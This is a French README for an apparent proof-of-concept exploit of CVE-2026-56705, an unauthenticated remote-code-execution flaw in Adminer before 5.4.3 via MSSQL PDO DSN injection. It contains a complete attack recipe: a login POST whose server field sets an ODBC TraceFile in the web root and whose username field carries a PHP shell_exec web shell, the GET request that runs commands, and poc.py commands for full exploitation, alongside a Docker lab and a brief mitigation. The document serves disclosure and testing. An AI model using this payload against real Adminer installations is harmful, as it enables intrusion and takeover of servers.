
Exploit PoC pour Adminer < 5.4.3 RCE non authentifié via injection de DSN PDO MSSQL, incluant un laboratoire Docker et un test négatif.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (avis du fournisseur) / GHSA-34q8-53jm-qc2r (base GitHub) |
| Produit | Adminer (outil PHP de gestion de base de données mono-fichier) |
| Versions concernées | Adminer < 5.4.3 avec pdo_sqlsrv + pilote Microsoft ODBC pour SQL Server |
| Corrigé dans | 5.4.3 |
| CVSS | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Type | CWE-20 → écriture de fichier arbitraire non authentifiée → RCE |
Adminer ne nettoie pas le champ server fourni par l'utilisateur avant de construire le
DSN PDO pour les connexions MSSQL :
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Les points-virgules dans server sont traités comme des délimiteurs d'attributs de connexion ODBC, de sorte qu'un
attaquant non authentifié peut ajouter des attributs arbitraires au DSN — notamment
TraceFile et TraceOn. La fonctionnalité de trace unixODBC écrit la chaîne de connexion complète
(avec UID={username} tel quel) dans TraceFile avant et indépendamment du
succès de la tentative de connexion. L'injection de code PHP via le champ username
et le pointage de TraceFile vers la racine web produit un web shell.
Une seule requête POST de connexion non authentifiée suffit. Aucun identifiant valide, aucune interaction utilisateur.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} dans /var/www/shell.phpGET /shell.php?c=id → la commande s'exécute# empreinte uniquement
python3 poc.py --target http://target/adminer.php --check
# exploitation complète (écrit <random>.php dans la racine web)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
L'image du laboratoire reproduit exactement les prérequis de l'avis : php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, racine web accessible en écriture par le processus PHP.
mssql, ou supprimez
; (et les espaces) des valeurs server fournies par l'utilisateur au niveau d'un proxy inverse.L'avis du fournisseur attribue la découverte conjointement au rapporteur et à Yashar Shahinzadeh (@voorivex).
PoC & laboratoire : Hamza Cagrici (@Boreas37)
| Date | Événement |
|---|---|
| 2026-08-25 | CVE publiée / corrigée dans Adminer 5.4.3 |